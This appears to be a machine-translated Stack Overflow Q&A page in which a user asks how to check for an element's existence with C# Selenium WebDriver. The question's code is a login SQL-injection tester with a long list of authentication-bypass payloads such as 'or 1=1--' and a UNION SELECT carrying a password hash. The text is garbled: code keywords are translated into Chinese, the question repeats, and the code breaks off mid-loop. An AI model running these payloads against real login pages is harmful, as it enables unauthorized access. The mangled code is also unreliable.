C# 如何检查元素是否存在 使用系统; 使用System.Collections.Generic; 使用System.Linq; 使用系统文本; 使用System.Threading.Tasks; 使用OpenQA.Selenium; 使用OpenQA.Selenium.Firefox; 命名空间控制台应用程序4 { 班级计划 { 静态void Main(字符串[]参数) { 字符串[]日志=新字符串[10000]; int log=0; 字符串[]注入=新字符串[]{“admin”或“a'='a”, “或1=1”, “或1=1——”, “或1=1#”, “或1=1/*”, “管理员”-“, “管理员”#“, “管理员”/*“, “管理员”或“1”=“1”, “管理员”或“1”='1'-“, “管理员”或“1”=“1”#”, “管理员”或“1”='1'/*”, “管理员”或1=1或“=”, “管理员”或1=1“, “管理员”或1=1--“, “管理员”或1=1#“, “管理员”或1=1/*“, “admin”)或('1'='1“, “admin”)或('1'='1'-“, “admin”)或('1'='1'#“, “admin”)或('1'='1'/*“, “admin”)或“1”=“1”, “admin”)或“1”=“1”--“, “admin”)或“1”=“1”#”, “admin”)或“1”='1'/*”, “1234”和1=0都选择“管理”,“81dc9bdb52d04dc20036dbd8313ed055”, “管理员\”-“, “管理员\”#“, “管理员\”/*“, “管理员”或“1”=“1”, “管理员”或“1\”=“1\”--“, “管理员”或“1\”=“1\”, “管理员”或“1\”=“1\”/*“, “admin\”或1=1或\“\”=\”, “管理员\”或1=1“, “admin\”或1=1--“, “admin\”或1=1#“, “admin\”或1=1/*“, “admin\”)或(\“1\”=\“1”, “admin\”)或(\“1\”=\“1\”--“, “admin\”)或(\“1\”=\“1\”), “admin\”)或(\“1\”=\“1\”/*”, “admin\”)或“1\”=“1”, “admin\”)或“1\”=“1\”--“, “admin\”)或“1\”=“1\”, “admin\”)或“1\”=“1\”/*”, “1234\”和1=0 UNION都选择“admin\”,“81dc9bdb52d04dc20036dbd8313ed055”}; int计数器=0; 字符串url、usr、pass、文本; System.Console.WriteLine(“输入url以检查sql注入”); url=Console.ReadLine(); System.Console.WriteLine(“\n输入usr的名称”); usr=Console.ReadLine(); System.Console.WriteLine(“\n输入通行证的名称”); pass=Console.ReadLine(); System.Console.WriteLine(“\n在页面上输入链接文本以了解登录”); text=Console.ReadLine(); IWebDriver=新的FirefoxDriver(); 而(计数器

C# 如何检查元素是否存在 使用系统; 使用System.Collections.Generic; 使用System.Linq; 使用系统文本; 使用System.Threading.Tasks; 使用OpenQA.Selenium; 使用OpenQA.Selenium.Firefox; 命名空间控制台应用程序4 { 班级计划 { 静态void Main(字符串[]参数) { 字符串[]日志=新字符串[10000]; int log=0; 字符串[]注入=新字符串[]{“admin”或“a'='a”, “或1=1”, “或1=1——”, “或1=1#”, “或1=1/*”, “管理员”-“, “管理员”#“, “管理员”/*“, “管理员”或“1”=“1”, “管理员”或“1”='1'-“, “管理员”或“1”=“1”#”, “管理员”或“1”='1'/*”, “管理员”或1=1或“=”, “管理员”或1=1“, “管理员”或1=1--“, “管理员”或1=1#“, “管理员”或1=1/*“, “admin”)或('1'='1“, “admin”)或('1'='1'-“, “admin”)或('1'='1'#“, “admin”)或('1'='1'/*“, “admin”)或“1”=“1”, “admin”)或“1”=“1”--“, “admin”)或“1”=“1”#”, “admin”)或“1”='1'/*”, “1234”和1=0都选择“管理”,“81dc9bdb52d04dc20036dbd8313ed055”, “管理员\”-“, “管理员\”#“, “管理员\”/*“, “管理员”或“1”=“1”, “管理员”或“1\”=“1\”--“, “管理员”或“1\”=“1\”, “管理员”或“1\”=“1\”/*“, “admin\”或1=1或\“\”=\”, “管理员\”或1=1“, “admin\”或1=1--“, “admin\”或1=1#“, “admin\”或1=1/*“, “admin\”)或(\“1\”=\“1”, “admin\”)或(\“1\”=\“1\”--“, “admin\”)或(\“1\”=\“1\”), “admin\”)或(\“1\”=\“1\”/*”, “admin\”)或“1\”=“1”, “admin\”)或“1\”=“1\”--“, “admin\”)或“1\”=“1\”, “admin\”)或“1\”=“1\”/*”, “1234\”和1=0 UNION都选择“admin\”,“81dc9bdb52d04dc20036dbd8313ed055”}; int计数器=0; 字符串url、usr、pass、文本; System.Console.WriteLine(“输入url以检查sql注入”); url=Console.ReadLine(); System.Console.WriteLine(“\n输入usr的名称”); usr=Console.ReadLine(); System.Console.WriteLine(“\n输入通行证的名称”); pass=Console.ReadLine(); System.Console.WriteLine(“\n在页面上输入链接文本以了解登录”); text=Console.ReadLine(); IWebDriver=新的FirefoxDriver(); 而(计数器,c#,selenium-webdriver,C#,Selenium Webdriver,尝试 或者捕获由驱动程序.FindElement引发的异常 我在这里看到一个语法错误。您将以结尾;应该是 if(Driver.FindElements(By.LinkText(text)).Count > 0) 我假设linkText是有效的,返回正确的元素,延迟不是问题 if(Driver.FindElements(By.LinkText(text)).Count > 0) if(Driver.FindElement(By.LinkText(text))) { log

尝试

或者捕获由
驱动程序.FindElement
引发的异常


我在这里看到一个语法错误。您将以
结尾;
应该是

if(Driver.FindElements(By.LinkText(text)).Count > 0)
我假设linkText是有效的,返回正确的元素,延迟不是问题

if(Driver.FindElements(By.LinkText(text)).Count > 0)
if(Driver.FindElement(By.LinkText(text)))
{
    logs[log]=usr;
    log++;
}